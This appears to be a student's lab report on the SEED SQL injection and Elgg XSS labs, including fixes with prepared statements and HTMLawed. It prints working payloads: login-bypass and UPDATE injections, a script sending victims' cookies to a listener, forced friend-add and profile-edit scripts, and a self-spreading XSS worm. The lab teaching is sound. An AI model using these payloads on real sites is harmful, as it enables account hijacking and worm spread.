目录
- 1. 实践内容
- 1.1 SEED SQL注入攻击与防御实验
- 1.2 SEED XSS跨站脚本攻击实验(Elgg)
- 2. 实践过程
- 2.1 SEED SQL注入攻击与防御实验
- 2.1.1 熟悉SQL语句
- 2.1.2 对SELECT语句的SQL注入攻击
- 2.1.3 对UPDATE语句的SQL注入攻击
- 2.1.4 SQL对抗
- 2.2 SEED XSS跨站脚本攻击实验(Elgg)
- 2.2.1 发布恶意消息,显示警报窗口
- 2.2.2 弹窗显示cookie信息
- 2.2.3 窃取受害者的cookies
- 2.2.4 成为受害者的朋友
- 2.2.5 修改受害者的信息
- 2.2.6 编写XSS蠕虫
- 2.2.7 对抗XSS攻击
- 3.学习中遇到的问题及解决
- 4.实践总结
1. 实践内容
1.1 SEED SQL注入攻击与防御实验
- 我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入攻击漏洞。
1.2 SEED XSS跨站脚本攻击实验(Elgg)
- 为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。
2. 实践过程
- 本次实验使用的虚拟机是
SEEDUbuntu-16.04
,参考Ubuntu系统修改用户名和主机名修改主机名
2.1 SEED SQL注入攻击与防御实验
2.1.1 熟悉SQL语句
-
输入命令
mysql -u root -p
登录数据库,密码为seedubuntu
-
先输入命令
use Users;
使用数据库Users
,再输入show tables;
查看该数据库的表
可以看到该数据库含有两张表,分别是Tables_in_Users
和credential
-
输入命令
select * from Tables_in_Users;
查看Tables_in_Users
表中的字段和数据 -
输入命令
select * from credential;
查看credential
表中的字段和数据
查看Tables_in_Users
表时,提示该表不存在
在credential
表中可以看到该表中含有姓名、生日、工资、密码等字段,并且有6条数据
2.1.2 对SELECT语句的SQL注入攻击
-
自带的火狐浏览器中打开
http://www.seedlabsqlinjection.com/
-
在该页面右键选择
Inspect Element
打开开发者工具,然后选择Network
选项
-
输入任意的账号和密码,点击登录
可以看到,点击登录按钮后,该网站将用户输入的账号和密码作为路径参数,向unsafe_home.php
页面发送了一个GET
请求 -
在终端中输入命令
vim /var/www/SQLInjection/unsafe_home.php
查看unsafe_home.php
的源码- 首先从
GET
请求中获取账号和密码,并对密码进行哈希,然后检查是否存在已经登录的Session,接着与本地的数据库Users
建立连接
- 建立连接后,使用
SELECT
语句根据账号和哈希后的密码查询用户的信息
- 接着我们可以发现管理员的账号为
Admin
- 首先从
-
在实施SQL注入攻击之前,我们先对这条
SELECT
语句进行分析
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd';
这条语句的关键之处在于WHERE
之后的条件判断
我们知道在SQL中#
表示注释,如果我们在输入账号后紧接着输入一个单引号'
将筛选条件终止,然后输入一个#
将后面的SQL语句直接注释掉,那么这条SQL语句就能够直接被执行
- 前面我们知道了管理员的账号是
Admin
,根据上述分析,我们在该网站中输入账号Admin'#
进行登录,不需要输入密码
- 点击登录按钮后可以看到成功登录,进入了管理员页面,能够看到所有用户的信息
对SELECT
语句的SQL注入攻击成功!
2.1.3 对UPDATE语句的SQL注入攻击
- 刚才已成功登录
Admin
的账号,接着点击页面上方的Edit Profile
- 打开开发者工具,输入新的用户信息
- 点击保存按钮后,可以看到该网站向
unsafe_edit_backend.php
页面发送了一个GET
请求
- 在终端中输入命令
vim /var/www/SQLInjection/unsafe_edit_backend.php
查看unsafe_edit_backend.php
文件的源码
可以看到这里有两条UPDATE
语句,这两条是类似的,区别在于一个设置了新密码,而另一个没有设置新密码。这两条语句的区别对于我们实施SQL注入没有太大影响。
UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
与前一个SQL注入类似,这里我们可以在SET nickname = '
后面添加自己想要修改的字段,并通过WHERE name = 'xxx'
来指定用户,最后使用#
将后面的SQL语句注释掉
- 在
Edit Profile
页面的NickName
中输入wujinlong', SSN='20232803' where name='Alice';#
,点击保存
- 可以看到修改成功,用户Alice的信息成功被修改
UPDATE
语句的SQL注入攻击成功!
2.1.4 SQL对抗
- 该网站存在SQL注入漏洞的原因是代码和用户输入的数据没有隔离,而是写在了一起,导致无法区分原始SQL语句和用户输入的数据,让攻击者有机可乘
- 将
SELECT
语句修改如下
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
- 再次尝试登录
- 登录失败
修复成功 - 将
UPDATE
语句修改如下
# 第一条UPDATE语句
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address,$input_password, $input_phonenumber);
# 第二条UPDATE语句
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
-
再次尝试修改,之前对Alice的信息进行了修改,这次尝试修改Boby的信息
-
点击保存后,查看信息发现修改失败
修复成功!
2.2 SEED XSS跨站脚本攻击实验(Elgg)
2.2.1 发布恶意消息,显示警报窗口
- 打开网站http://www.xsslabelgg.com/ ,该网站的用户名即为上一节的数据库中存在的用户名。除管理员Admin以外,用户的登录密码均为
seed + 用户名
。 - 下面我们使用Alice登录,如上所述,密码为
seedalice
- 点击Alice的头像,然后点击
Edit profile
进入修改个人信息页面
- 在
Brief description
中输入XSS攻击代码<script> alert('xss');</script>
,该代码用于弹出一个窗口
- 保存之后,再次访问Alice的主页,弹出了警报窗口
2.2.2 弹窗显示cookie信息
- 在
Brief description
中输入XSS攻击代码<script> alert(document.cookie);</script>
,该代码用于弹出一个窗口,窗口中显示Cookie
信息
- 保存之后,再次访问Alice的主页,弹出了警报窗口,显示了
Cookie
信息
2.2.3 窃取受害者的cookies
- 在页面加载时,如果遇到
img
标签,浏览器会向src
字段指示的url
发送请求。利用这一特性,我们便可以构造出如下代码,并将其写入Boby的Brief description
中。 - 当有用户访问Boby的主页时,该用户的
cookie
会被写到src
字段中。通过document.write
向页面写入了一个img
标签,浏览器会把它当作是一张图片,向相应的地址和端口发送请求,请求中正携带了该用户的cookie
信息
<script>
document.write('<img src=http://127.0.0.1:2803?c=' + escape(document.cookie) + '>');
</script>
-
在终端中输入命令
nc -l 2803 -v
监听端口
-
以Alice的身份登录,访问Boby的主页http://www.xsslabelgg.com/profile/boby
成功监听到这一请求,并且获取了受害者Alice的Cookie
2.2.4 成为受害者的朋友
-
以Alice的身份登录,访问Boby的主页http://www.xsslabelgg.com/profile/boby,右键选择
Inspect Element
打开开发者工具,选择Network
-
点击左侧的
Add friend
按钮向Boby发送好友请求
-
点击
Add friend
按钮后,向http://www.xsslabelgg.com/action/friends/add发送了POST请求,并携带了三个参数
friend=45 //要添加的用户id
__elgg_ts=1715849723 //时间戳
__elgg_token=8s6rxvluUUz-8kY8-VbeoQ //token
- 于是构造如下js代码,用于强制添加好友
<script type="text/javascript">window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}</script>
-
打开Alice的
Edit profile
页面,点击About me
右侧的Edit HTML
,填写以上代码并保存
-
以Boby的身份登录,访问Alice的主页http://www.xsslabelgg.com/profile/alice,再回到Boby的主页
可以看到Boby自动将Alice添加为好友了
2.2.5 修改受害者的信息
- 与上一节相似,在Alice的
Edit profile
页面打开开发者工具的Network
,点击保存按钮发送修改个人信息的请求
根据请求结果可知,修改个人信息时,向http://www.xsslabelgg.com/action/profile/edit发送了POST请求,并携带了多个字段信息
- 于是构造如下js代码,用于强制修改用户个人信息
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>Edited By 20232803wjl</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
-
打开Alice的
Edit profile
页面,点击About me
右侧的Edit HTML
,填写以上代码并保存
-
以Boby的身份登录,访问Alice的主页http://www.xsslabelgg.com/profile/alice,再回到Boby的主页
Boby的个人信息成功被修改
2.2.6 编写XSS蠕虫
- 编写如下XSS蠕虫代码
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>XSS Attack By 20232803wjl"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
- 打开Alice的
Edit profile
页面,点击About me
右侧的Edit HTML
,填写以上代码并保存 - 以Boby的身份登录,访问Alice的主页后,再返回Boby的主页,此时发现Boby的个人信息已被修改
- 以Samy的身份登录,访问Boby的主页,再返回Samy的主页,此时发现Samy的个人信息也被修改了
由此可知,XSS蠕虫攻击成功!
2.2.7 对抗XSS攻击
- 以管理员Admin的身份进行登录,用户名为
Admin
,密码为seedelgg
- 登录后,依次点击右上角的
Account - Administration
- 点击页面右侧的
Plugins
- 找到
HTMLawed
,发现该插件已被激活,不需要再进行操作,该插件用于提供安全校验
注:显示
Deactivate
就表示已经激活了!!
如果是显示Activate
,才需要点击Activate
将其切换为Deactivate
状态以激活该插件
- 再次以Samy的身份,访问Alice的主页
可以看到Alice主页里的XSS蠕虫代码已失效,对抗成功!
3.学习中遇到的问题及解决
- 问题1:在对抗XSS攻击实践中,激活了插件
HTMLawed
,但XSS攻击仍成功,也就是对抗失败了 - 解决方案:
- 经过检查,发现在
Plugins
插件页面中,插件左侧的按钮若显示Activate
则表示插件未激活,若显示Deactivate
则表示插件已激活 - 于是重新激活插件,成功对抗XSS攻击
- 经过检查,发现在
4.实践总结
对于SQL注入和XSS攻击,以前只是了解但还未实践过,这一次的实践让我对它们有了直观的感受。SQL注入漏洞让用户可以随意的操作数据库进行增删改查,XSS蠕虫更是能够自我传播。这两个漏洞都是因为没有对用户输入的数据进行校验导致的,因此在开发阶段就应注意这些安全隐患。好在现如今许多开发框架都已替我们考虑到了这些安全漏洞,现在很少有网站存在SQL注入漏洞和XSS漏洞了。